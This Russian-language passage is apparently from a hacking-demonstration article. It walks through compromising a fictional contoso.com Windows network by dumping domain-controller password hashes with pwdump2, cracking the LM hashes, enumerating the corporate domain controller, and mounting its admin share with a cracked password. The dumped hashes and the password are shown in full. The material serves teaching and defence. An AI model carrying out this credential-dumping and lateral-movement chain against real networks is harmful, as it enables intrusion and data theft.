Листинг 8. Информация о хосте PYNDMZDC, выведенная ipconfig

C:warez>ipconfig /all

Windows IP Configuration

Host Name . . . . . . . . . . . . : PYN-DMZ-DC

Primary Dns Suffix . . . . . . . : PYN-DMZ.LOCAL

Node Type . . . . . . . . . . . . : Unknown

IP Routing Enabled. . . . . . . . : Yes

WINS Proxy Enabled. . . . . . . . : No

DNS Suffix Search List. . . . . . : PYN-DMZ.LOCAL

Ethernet adapter CorpNet:

Connection-specific DNS Suffix . :

Description . . . . . . . . . . . : Intel 21140-Based PCI

Fast Ethernet Adapter

(Generic) #2

Physical Address. . . . . . . . . : 00-03-FF-06-3E-F0

DHCP Enabled. . . . . . . . . . . : No

IP Address. . . . . . . . . . . . : 10.1.2.16

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . . . . . . . . :

DNS Servers . . . . . . . . . . . : 172.17.0.2

Ethernet adapter DMZNet:

Connection-specific DNS Suffix . :

Description . . . . . . . . . . . : Intel 21140-Based PCI

Fast Ethernet Adapter

(Generic)

Physical Address. . . . . . . . . : 00-03-FF-07-3E-F0

DHCP Enabled. . . . . . . . . . . : No

IP Address. . . . . . . . . . . . : 172.17.0.2

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . . . . . . . . : 172.17.0.1

DNS Servers . . . . . . . . . . . : 172.17.0.2

Как видите, данная система включает два сетевых адаптера, один из которых подключен к корпоративной сети, а второй - к DMZ; по­видимому, это означает, что система выполняет функции маршрутизатора между двумя сетями. Прежде чем я этим воспользуюсь, я могу получить дампы учетных записей всех пользователей, хранящихся на контроллере домена. Помните, я говорил, что контроллер домена хранит около 15 учетных записей пользователей? Терять время нельзя, поэтому я лучше создам дампы хэшей паролей и попробую взломать их. Так как у меня есть привилегии администратора, для получения дампов достаточно запустить очень популярную программу PWDump (листинг 9).

Листинг 9. Информация, выведенная pwdump2

C:warez>pwdump2.exe

Administrator:500:624aac413795cdc1ff17365faf1ffe89:b9e0c

fceaf6d077970306a2fd88a7c0a:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0

d16ae931b73c59d7e0c089c0:::

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:28237c666

e4bb3cc96d670cadca1593b:::

SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51

404ee:cd072175763b0d5b3fbb152f57b96e7c:::

FAjenstat:1106:daf058ae79085db217306d272a9441bb:c43325

fdf77cafacf02f6e3eaa7f5020:::

AAlberts:1107:1df8f06dcf78bb3aaad3b435b51404ee:2408f92a

b284046ddcc6952755f449e2:::

HAcevedo:1108:dbff4b96d021df2f93e28745b8bf4ba6:bbd9477

810308a0b676f3cda91f10539:::

MAlexander:1109:d278e69987353c4c837daf3f2ddd5ca3:2c67b

571425751747e7ae379fefe9fcc:::

KAkers:1110:693de7f320aae76293e28745b8bf4ba6:fb853a32

ccd2b92b43639b0e7d29e09d:::

TAdams:1111:ea03148efb24d7fc5be30f58d2a941d5:18cce97e

e181d42be654133658723813:::

KAbercrombie:1112:6c32f38de08f49f026f8092a33daaf05:a88b

78471261477e26d9e4c11571b127:::

Sculp:1113:49901659efc5e1d6aad3b435b51404ee:d986300c

7c0c33d3cc5417dbac6f90db:::

SAbbas:1114:d6855d70abc371c2b77b4e7109416ab8:363c93e

6be7a5cb001e7ad542c292f26:::

...

По умолчанию Windows хранит два представления паролей: "хэш" LM (на самом деле это вовсе не хэш) и хэш Windows NT. Опираясь на полученные данные, я могу сказать, что система, с которой мы имеем дело, хранит хэши LM. Это должно обрадовать хакера, так как хэши LM взломать гораздо легче. Передав дамп программе взлома паролей, я могу взломать большинство хранящихся в этой системе паролей за сутки. На деле, проведя комбинированную атаку, я взломал три пароля менее чем за минуту. Возможно, настоящему взломщику это удалось бы сделать еще быстрее. Есть инструменты, которые взламывают пароли быстрее за счет использования большего объема памяти.

Получив пароли, я должен узнать, где они используются. Информация о системах сети 172.17.0/24 у меня имеется, поэтому посмотрим, что есть в сети 10.1.2/24:

C:warez>discoverHosts 10.1.2

Reply from 10.1.2.16: bytes=32 time<1ms TTL=128

Reply from 10.1.2.17: bytes=32 time=54ms TTL=128

Система с адресом 10.1.2.16 - это, как мы уже знаем, контроллер домена центра данных, а вот хост с адресом 10.1.2.17 нам неизвестен. Это дело надо исправить:

C:warez>GetSystemInfo 10.1.2.17

Server info on 10.1.2.17

Name: PYN-CORPDC

Domain: PYN

Version: 5.2

Platform ID: 500

Comment:

Server Flags:

Workstation

Server

Domain Controller

Time source

Итак, это контроллер домена, который я изначально искал. Пока могу лишь сказать, что он работает под управлением Windows Server 2003. Возможно, идентификация пользователей этой системы даст мне дополнительную информацию (листинг 10).

Листинг 10. Информация о корпоративном контроллере домена, выведенная dumpinfo

C:warez>dumpinfo 10.1.2.17

The Administrator is: PYNAdministrator

Users on PYN-CORPDC:

RID 1000 PYNHelpServicesGroup an Alias

RID 1001 PYNSUPPORT_388945a0 a User

RID 1002 PYNTelnetClients an Alias

RID 1003 PYNPYN-CORPDC$ a User

RID 1104 PYNFAjenstat a User

RID 1105 PYNAAlberts a User

RID 1106 PYNHAcevedo a User

RID 1107 PYNMAlexander a User

RID 1108 PYNKAkers a User

RID 1109 PYNTAdams a User

RID 1110 PYNKAbercrombie a User

RID 1111 PYNSculp a User

RID 1112 PYNSAbbas a User

RID 1113 PYNMAllen a User

RID 1114 PYNJAdams a User

RID 1115 PYNSAlexander a User

RID 1116 PYNHAbolrous a User

RID 1117 PYNPAckerman a User

RID 1118 PYNGAlderson a User

...

Share Type Comment

IPC$ Unknown Remote IPC

NETLOGON Disk Logon server share

ADMIN$ Special Remote Admin

SYSVOL Disk Logon server share

C$ Special Default share

Administrators:

Unable to enumerate administrators

ERROR: Access Denied

Список получился довольно большой, причем в нем встречаются и наши старые знакомые, учетные записи которых зарегистрированы и на контроллере домена DMZ. В их число входят пользователи, пароли которых я уже взломал. Теперь я могу или продолжить сбор информации, или просто опробовать в деле взломанные учетные записи. Угадайте с трех раз, что выберет хакер:

C:warez>net use \pyn-corpdcc$ /u:pynGAlderson "yosemiTe^"

The command completed successfully.

Вот и все: сеть полностью взломана, и с ней можно делать что угодно. Реальный хакер мог бы, например, скопировать из нее конфиденциальную информацию, добавить себя в платежную ведомость, использовать эту сеть для атак на другие сети и т. д. Мы получили полный неограниченный доступ ко всей сети contoso.com.